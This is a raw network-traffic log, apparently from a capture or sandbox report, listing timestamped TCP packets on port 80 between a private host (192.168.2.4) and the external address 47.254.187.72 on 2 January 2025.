Jan 2, 2025 20:34:57.487107992 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.487124920 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.487133026 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.487135887 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.487145901 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.487157106 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.487189054 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.487274885 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.493159056 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.493171930 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.493181944 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.493222952 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.493254900 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.493266106 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.493275881 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.493283033 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.493285894 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.493295908 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.493300915 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.493326902 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.493326902 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.493393898 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.496021986 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.496047020 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.496107101 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.496107101 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.496285915 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.496366978 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.496381998 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.496388912 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.496392965 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.496402979 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.496413946 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.496423006 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.496520042 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.501365900 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.501378059 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.501394033 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.501405954 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.501415968 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.501425982 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.501430988 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.501436949 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.501446962 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.501449108 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.501492023 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.501492023 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.511895895 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.511905909 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.511917114 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.511938095 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.511949062 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.511955976 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.511967897 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.511970043 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.511977911 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.511987925 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.511998892 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.511998892 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.512037039 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.512037039 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.516319990 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.516336918 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.516350031 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.516365051 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.516376019 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.516386032 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.516388893 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.516396999 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.516402006 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.516438961 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.516438961 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.534774065 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.534960032 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.534969091 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.534981012 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.534991980 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.535001993 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.535012960 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.535023928 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.535051107 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.535756111 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.543282032 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.543292999 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.543338060 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.543348074 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.543359995 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.543364048 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.543370962 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.543380976 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.543389082 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.543401003 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.543406963 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.543415070 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.543500900 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.545994997 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.546009064 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.546025991 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.546036005 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.546046019 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.546049118 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.546056032 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.546068907 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.546077013 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.546082020 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.546082020 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.546192884 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.546663046 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.546680927 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.546791077 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.546816111 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.546828032 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.546838045 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.546848059 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.546859026 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.546860933 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.546869993 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.546895027 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.546895027 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.546957016 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.547506094 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.547518969 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.547529936 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.547545910 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.547557116 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.547564983 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.547566891 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.547578096 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.547586918 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.547602892 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.547750950 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.564053059 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.564074993 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.564085960 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.564105988 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.564136028 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.564146996 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.564156055 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.564173937 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.564184904 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.564194918 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.564201117 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.564205885 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.564228058 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.564229012 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.564249039 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.564279079 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.564300060 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.564302921 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.564311981 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.564323902 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.564323902 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.564354897 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.564382076 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.564395905 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.564405918 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.564414978 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.564424992 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.564428091 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.564435005 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.564440966 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.564445972 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.564455986 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.564466000 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.564474106 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.564487934 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.564506054 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.564654112 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.564960003 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.564969063 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.564979076 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.565020084 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.565028906 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.565028906 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.565028906 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.565042019 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.565052986 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.565062046 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.565062046 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.565063953 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.565076113 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.565083981 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.565105915 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.570508003 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.570553064 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.570563078 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.570573092 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.570584059 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.570589066 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.570595026 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.570605040 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.570620060 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.570621967 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.570621967 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.570657969 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.570657969 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.574034929 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.574044943 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.574054956 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.574065924 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.574085951 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.574095964 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.574106932 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.574110985 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.574117899 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.574126959 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.574134111 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.574281931 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.580852032 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.580869913 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.580882072 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.580892086 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.580902100 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.580912113 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.580921888 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.580929041 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.580965996 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.580965996 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.583219051 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.583242893 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.583254099 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.583265066 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.583275080 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.583286047 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.583290100 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.583297968 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.583307028 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.583311081 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.583329916 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.583751917 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.588359118 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.588371992 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.588381052 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.588391066 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.588401079 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.588411093 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.588421106 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.588430882 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.588435888 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.588613033 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.598649979 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.598659992 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.598742008 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.598752022 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.598767042 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.598778963 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.598788977 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.598799944 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.598807096 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.598807096 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.599750042 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.603298903 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.603310108 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.603327036 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.603353977 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.603359938 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.603375912 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.603385925 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.603385925 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.603395939 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.603406906 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.603410959 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.603415966 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.603434086 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.603746891 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.621576071 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.621589899 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.621599913 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.621653080 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.621660948 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.621660948 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.621663094 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.621673107 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.621682882 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.621694088 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.621696949 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.621696949 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.621732950 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.621732950 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.630121946 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.630151987 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.630323887 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.630333900 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.630345106 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.630350113 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.630354881 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.630364895 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.630376101 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.630378962 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.630387068 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.631758928 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.632751942 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.632764101 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.632777929 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.632787943 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.632798910 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.632808924 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.632819891 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.632822990 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.632828951 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.632843018 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.632868052 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.632868052 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.633512020 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.633528948 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.633538961 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.633548975 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.633553028 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.633559942 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.633569002 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.633579969 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.633589983 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.633593082 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.633615017 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.633615017 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.633685112 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.634260893 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.634272099 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.634288073 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.634303093 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.634310007 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.634314060 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.634324074 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.634335041 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.634345055 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.634350061 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.634350061 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.634614944 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.650913954 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.650930882 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.650943041 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.651009083 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.651010036 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.651010036 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.651036024 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.651046991 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.651051044 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.651063919 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.651073933 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.651083946 CET	80	49730	47.254.187.72	192.168.2.4
